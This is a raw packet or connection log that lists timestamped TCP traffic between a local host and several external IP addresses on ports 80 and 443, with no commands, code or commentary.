Jan 12, 2025 09:27:34.110646009 CET	50457	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.110846043 CET	80	50453	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.110894918 CET	50453	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.110937119 CET	50458	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.114634991 CET	80	50453	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.115756989 CET	80	50458	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.115905046 CET	50458	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.115905046 CET	50458	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.120729923 CET	80	50458	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.418972015 CET	443	50456	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:34.419178009 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:34.420511961 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:34.420672894 CET	443	50456	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:34.420779943 CET	50456	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:34.421457052 CET	50459	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.421482086 CET	443	50459	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.421583891 CET	50459	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.421583891 CET	50459	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.421735048 CET	443	50459	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.421823978 CET	50459	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.422096014 CET	50460	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.430094004 CET	80	50460	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.430169106 CET	50460	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.430193901 CET	50460	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.435075045 CET	80	50460	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.643132925 CET	80	50458	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.643275976 CET	50458	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.643290043 CET	80	50458	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.643342972 CET	50458	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:34.644135952 CET	50461	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.644193888 CET	443	50461	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:34.644278049 CET	50461	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.644331932 CET	50461	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.644449949 CET	443	50461	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:34.644517899 CET	50461	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.644943953 CET	50462	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.648438931 CET	80	50458	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:34.649770975 CET	80	50462	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:34.649842978 CET	50462	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.649889946 CET	50462	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:34.656152010 CET	80	50462	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:34.924479008 CET	80	50460	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.924653053 CET	50460	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.924690008 CET	80	50460	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.924751997 CET	50460	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:34.925558090 CET	50463	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.925668955 CET	443	50463	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.925793886 CET	50463	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.925867081 CET	50463	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.925976992 CET	443	50463	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.926105976 CET	50463	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.926163912 CET	50464	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.929560900 CET	80	50460	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:34.931150913 CET	80	50464	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:34.931219101 CET	50464	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.931261063 CET	50464	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:34.936095953 CET	80	50464	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:35.127326965 CET	80	50462	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.127490044 CET	50462	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.128099918 CET	80	50462	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.128199100 CET	50462	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.130403996 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.130429029 CET	443	50467	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:35.130515099 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.132337093 CET	80	50462	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.136817932 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.136828899 CET	443	50467	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:35.383338928 CET	80	50464	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:35.383613110 CET	50464	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:35.383697033 CET	80	50464	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:35.383770943 CET	50464	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:35.384488106 CET	50468	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.384531975 CET	443	50468	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.384618044 CET	50468	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.384648085 CET	50468	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.384773970 CET	443	50468	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.384825945 CET	50468	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.385211945 CET	50469	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.388492107 CET	80	50464	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:35.390060902 CET	80	50469	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.390161037 CET	50469	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.390198946 CET	50469	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.394954920 CET	80	50469	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.606215954 CET	443	50467	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:35.606350899 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.607852936 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.607909918 CET	443	50467	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:35.607975006 CET	50467	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:35.608499050 CET	50470	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.608526945 CET	443	50470	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:35.608612061 CET	50470	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.608640909 CET	50470	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.608726025 CET	443	50470	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:35.608778954 CET	50470	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.609005928 CET	50471	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.613914967 CET	80	50471	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:35.613976002 CET	50471	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.613998890 CET	50471	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:35.618808031 CET	80	50471	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:35.864391088 CET	80	50469	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.864697933 CET	50469	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.865525007 CET	80	50469	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.865544081 CET	50472	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.865556002 CET	443	50472	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.865581036 CET	50469	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:35.865644932 CET	50472	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.865698099 CET	50472	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.865772009 CET	443	50472	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.865839005 CET	50472	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.866552114 CET	50473	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.869546890 CET	80	50469	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:35.871380091 CET	80	50473	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:35.871449947 CET	50473	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.871494055 CET	50473	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:35.876331091 CET	80	50473	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:36.068831921 CET	80	50471	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.068948984 CET	50471	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.068952084 CET	80	50471	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.069004059 CET	50471	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.069839954 CET	50474	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.069860935 CET	443	50474	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.069932938 CET	50474	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.069964886 CET	50474	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.070059061 CET	443	50474	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.070121050 CET	50474	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.070513964 CET	50475	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.073801994 CET	80	50471	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.075273991 CET	80	50475	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.075344086 CET	50475	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.075373888 CET	50475	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.080182076 CET	80	50475	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.361903906 CET	80	50473	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:36.362226009 CET	50473	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:36.363282919 CET	80	50473	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:36.363338947 CET	50473	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:36.365022898 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.365044117 CET	443	50478	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:36.365103006 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.365669012 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.365685940 CET	443	50478	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:36.366981030 CET	80	50473	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:36.564080954 CET	80	50475	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.564418077 CET	50475	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.564420938 CET	80	50475	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.564500093 CET	50475	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:36.565258980 CET	50479	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.565290928 CET	443	50479	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:36.565381050 CET	50479	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.565417051 CET	50479	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.565479994 CET	443	50479	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:36.565540075 CET	50479	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.565860033 CET	50480	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.569231033 CET	80	50475	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:36.570647955 CET	80	50480	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:36.570719004 CET	50480	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.570766926 CET	50480	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:36.575516939 CET	80	50480	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:36.848668098 CET	443	50478	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:36.848817110 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.850128889 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.850258112 CET	443	50478	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:36.850347996 CET	50478	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:36.850876093 CET	50481	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.850913048 CET	443	50481	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.850999117 CET	50481	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.851028919 CET	50481	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.851142883 CET	443	50481	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.851208925 CET	50481	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.851409912 CET	50482	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.856297016 CET	80	50482	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:36.856494904 CET	50482	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.856494904 CET	50482	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:36.861308098 CET	80	50482	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.042614937 CET	80	50480	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.042886019 CET	50480	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.043494940 CET	80	50480	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.043560028 CET	50480	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.043683052 CET	50483	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.043704033 CET	443	50483	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.043771982 CET	50483	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.043806076 CET	50483	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.043899059 CET	443	50483	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.043957949 CET	50483	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.044476032 CET	50484	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.047651052 CET	80	50480	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.049345970 CET	80	50484	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.049416065 CET	50484	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.049454927 CET	50484	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.054256916 CET	80	50484	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.338717937 CET	80	50482	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.338818073 CET	50482	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.339760065 CET	50485	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.339814901 CET	443	50485	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.339900017 CET	50485	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.339960098 CET	50485	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.340017080 CET	80	50482	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.340058088 CET	50482	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.340060949 CET	443	50485	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.340117931 CET	50485	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.340651035 CET	50486	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.343559980 CET	80	50482	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.345530033 CET	80	50486	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.345609903 CET	50486	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.345659018 CET	50486	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.350466967 CET	80	50486	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.501038074 CET	80	50484	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.501176119 CET	50484	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.502042055 CET	80	50484	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.502106905 CET	50484	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:37.504102945 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.504136086 CET	443	50489	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:37.504209042 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.504875898 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.504890919 CET	443	50489	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:37.505947113 CET	80	50484	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:37.810169935 CET	80	50486	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.810436010 CET	50486	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.810758114 CET	80	50486	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.810822964 CET	50486	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:37.811347961 CET	50490	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.811384916 CET	443	50490	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.811461926 CET	50490	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.811491013 CET	50490	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.811568975 CET	443	50490	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.811626911 CET	50490	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.811862946 CET	50491	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.815347910 CET	80	50486	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:37.816752911 CET	80	50491	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.816833019 CET	50491	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.816895962 CET	50491	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:37.821711063 CET	80	50491	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:37.961575031 CET	443	50489	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:37.961694956 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.963458061 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.963500977 CET	443	50489	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:37.963555098 CET	50489	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:37.964620113 CET	50492	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.964642048 CET	443	50492	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.964715958 CET	50492	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.964747906 CET	50492	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.964852095 CET	443	50492	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.964914083 CET	50492	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.965295076 CET	50493	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.970180988 CET	80	50493	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:37.970246077 CET	50493	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.970274925 CET	50493	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:37.975028992 CET	80	50493	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:38.278043032 CET	80	50491	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.278178930 CET	50491	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.278534889 CET	80	50491	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.279078007 CET	50494	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.279094934 CET	443	50494	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.279114008 CET	50491	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.279159069 CET	50494	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.279184103 CET	50494	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.279376984 CET	443	50494	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.279433012 CET	50494	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.279609919 CET	50495	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.283015013 CET	80	50491	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.284419060 CET	80	50495	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.284501076 CET	50495	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.284552097 CET	50495	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.289345026 CET	80	50495	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.429989100 CET	80	50493	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:38.430718899 CET	80	50493	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:38.430779934 CET	50493	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:38.430814981 CET	50493	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:38.431613922 CET	50496	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.431636095 CET	443	50496	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.431699991 CET	50496	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.431721926 CET	50496	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.431844950 CET	443	50496	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.432178020 CET	50497	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.432197094 CET	50496	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.435698032 CET	80	50493	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:38.437017918 CET	80	50497	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.437093019 CET	50497	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.437130928 CET	50497	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.441924095 CET	80	50497	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.730817080 CET	80	50495	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.731489897 CET	80	50495	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.731564045 CET	50495	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.731604099 CET	50495	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:38.734581947 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:38.734606981 CET	443	50500	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:38.734675884 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:38.735308886 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:38.735323906 CET	443	50500	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:38.736504078 CET	80	50495	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:38.904654980 CET	80	50497	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.905127048 CET	80	50497	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.905299902 CET	50497	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.905345917 CET	50497	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:38.906236887 CET	50501	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.906303883 CET	443	50501	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.906402111 CET	50501	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.906443119 CET	50501	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.906548977 CET	443	50501	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.906605959 CET	50501	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.907005072 CET	50502	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.910128117 CET	80	50497	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:38.911891937 CET	80	50502	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:38.912025928 CET	50502	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.914405107 CET	50502	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:38.919234991 CET	80	50502	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:39.197860003 CET	443	50500	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:39.197933912 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.199368000 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.199403048 CET	443	50500	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:39.199481964 CET	50500	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.200072050 CET	50503	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.200136900 CET	443	50503	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.200220108 CET	50503	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.200299978 CET	50503	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.200396061 CET	443	50503	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.200448990 CET	50503	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.200701952 CET	50504	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.207067966 CET	80	50504	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.207138062 CET	50504	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.207165956 CET	50504	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.212577105 CET	80	50504	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.375474930 CET	80	50502	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:39.375684023 CET	80	50502	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:39.375710011 CET	50502	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:39.375762939 CET	50502	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:39.376658916 CET	50505	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.376696110 CET	443	50505	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.376796007 CET	50505	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.376838923 CET	50505	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.376982927 CET	443	50505	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.377044916 CET	50505	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.377373934 CET	50506	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.380538940 CET	80	50502	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:39.382240057 CET	80	50506	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.382309914 CET	50506	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.382325888 CET	50506	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.387123108 CET	80	50506	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.668803930 CET	80	50504	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.668817043 CET	80	50504	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.668880939 CET	50504	80	192.168.2.7	188.114.97.3
